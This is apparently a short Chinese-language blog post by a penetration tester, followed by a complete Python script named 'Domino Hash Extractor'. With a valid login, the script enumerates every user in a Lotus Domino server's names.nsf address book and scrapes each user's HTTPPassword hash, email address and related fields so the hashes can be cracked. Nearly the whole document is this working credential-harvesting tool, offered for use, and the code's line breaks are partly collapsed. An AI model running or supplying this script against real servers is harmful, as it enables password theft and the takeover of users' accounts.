最近常碰到 Domino 服务器,老样子先从 names.nsf 开始找密码破解 有时候 Metasploit 不知道为什么会出错,只好自己再造个轮子用了也还顺手
#!/usr/bin/env python3 # -*- coding: utf-8 -*-
Updated at 2022-08-16 17:32
Created by Chris Lin <chris(at)kulisu.me>
import asyncio
from argparse import ArgumentParser, Namespace
from datetime import datetime
from re import findall
from typing import Dict, List, Optionalfrom aiohttp import BasicAuth, ClientSession, ClientTimeout, TCPConnector
def get_iso8601_timestamp() -> str:
"""
Get formatted ISO 8601 date string
"""return datetime.now().astimezone().strftime('%Y-%m-%dT%H:%M:%S.%f%z')
async def send_form_login(session: ClientSession, url: str, username: str, password: str, pattern='LoginForm') -> bool:
"""
Send form authentication request and return True if succeed
"""result: bool = False try: url: str = f"{url}/names.nsf?Login" data: Dict[str, str] = {'Username': username, 'Password': password} async with session.post(url=url, data=data, allow_redirects=False) as response: if pattern not in await response.text(errors='ignore'): result = True except Exception as error: print( f"[E] {get_iso8601_timestamp()} Failed to invoke `send_form_login`" f", {error.__class__.__name__}: {error}" ) return result
async def send_http_login(session: ClientSession, url: str, pattern='Error 401') -> bool:
"""
Send HTTP authentication request and return True if succeed
"""result: bool = False try: url: str = f"{url}/names.nsf" async with session.get(url=url, allow_redirects=False) as response: if pattern not in await response.text(errors='ignore'): result = True except Exception as error: print( f"[E] {get_iso8601_timestamp()} Failed to invoke `send_http_login`" f", {error.__class__.__name__}: {error}" ) return result
async def fetch_users_list(session: ClientSession, url: str, start: int = 1) -> List[str]:
"""
Fetch all users list (pagination) from remote server
"""result: List[str] = [] try: url: str = f"{url}/names.nsf/$defaultview?Readviewentries&Start={start}" # Fetch record ID (unid) and current index (position) # <viewentry position="30" unid="AD83ACC76CC5960E9CBD06E9D8C29407" noteid="1ABCD" siblings="1234"> user_pattern: str = '<viewentry.*position=\"(.*?)\".*unid=\"(.*?)\".*>' # Fetch total record count (toplevelentries) # <viewentries timestamp="20220816T085800,01Z" toplevelentries="1234"> page_pattern: str = '<viewentries.*toplevelentries=\"(.*?)\".*>' async with session.get(url=url, allow_redirects=False) as response: for user in findall(user_pattern, await response.text(errors='ignore')): if user and len(user) and user[-1] not in result: result.append(user[-1]) for page in findall(page_pattern, await response.text(errors='ignore')): if page and len(page) and int(page) > 0: if int(user[0]) < int(page): result.extend(await fetch_users_list(session, url, int(user[0]) + 1)) except Exception as error: print( f"[E] {get_iso8601_timestamp()} Failed to invoke `fetch_users_list`" f", {error.__class__.__name__}: {error}" ) return result
async def fetch_user_information(session: ClientSession, url: str, _id: str, fields: List[str]) -> Dict[str, str]:
"""
Fetch detailed user information from remote server
"""result: Dict[str, str] = {} try: url: str = f"{url}/names.nsf/$defaultview/{_id.upper()}?OpenDocument" async with session.get(url=url, allow_redirects=False) as response: html: str = await response.text(errors='ignore') if html and len(html) and 'httppassword' in html.lower(): for field in fields: pattern: str = f"<input.*name=\"{field}\".*value=\"(.*?)\".*>" for match in findall(pattern, html): if match and len(match): result[field] = match break except Exception as error: print( f"[E] {get_iso8601_timestamp()} Failed to invoke `fetch_user_information`" f", {error.__class__.__name__}: {error}" ) return result
async def main() -> None:
# Customize aiohttp settings
connector: TCPConnector = TCPConnector(ssl=False)
timeout: ClientTimeout = ClientTimeout(total=300, connect=60)parser: ArgumentParser = ArgumentParser(description='Domino Hash Extractor') parser.add_argument('-t', '--target', help='Target URL, example: https://example.com', type=str, required=True) # TODO: separate username and password to both authentication protocols ? parser.add_argument('-u', '--username', help='Login Username, example: admin', type=str, required=True) parser.add_argument('-p', '--password', help='Login Password, example: 123456', type=str, required=True) parser.add_argument('-F', '--form-auth', help='Use form authentication', action='store_true') parser.add_argument('-H', '--http-auth', help='Use HTTP authentication', action='store_true') args: Namespace = parser.parse_args() if not args.form_auth and not args.http_auth: print(f"[E] {get_iso8601_timestamp()} Please specify either `--form-auth` or `--http-auth` option") exit(1) auth: Optional[BasicAuth] = BasicAuth(args.username, args.password) if args.http_auth else None fields: List[str] = [ 'DisplayName', '$dspHTTPPassword', 'HTTPPassword', 'dspHTTPPassword', 'InternetAddress', 'Comment', 'LastMod', 'HTTPPasswordChangeDate', ] async with ClientSession(connector=connector, auth=auth, timeout=timeout, trust_env=True) as session: if args.form_auth: if await send_form_login(session, args.target, args.username, args.password): pass else: print( f"[E] {get_iso8601_timestamp()} Failed to login as `{args.username}`, " f"please check form credential" ) exit(1) if args.http_auth: if await send_http_login(session, args.target): pass else: print( f"[E] {get_iso8601_timestamp()} Failed to login as `{args.username}`, " f"please check HTTP credential" ) exit(1) users: List[str] = await fetch_users_list(session, args.target) if users: for i in range(0, len(users), 10): tasks: List[asyncio.Task] = [] for user in users[i:i + 10]: tasks.append( asyncio.create_task( fetch_user_information(session, args.target, user, fields) ) ) if tasks and len(tasks) > 0: await asyncio.gather(*tasks, return_exceptions=True) for task in tasks: if task.result(): parsed: str = '\t'.join(task.result().values()) print(f"[v] {parsed}") else: print(f"[E] {get_iso8601_timestamp()} Failed to fetch users list, please check HTTP response")
if name == 'main':
asyncio.run(main())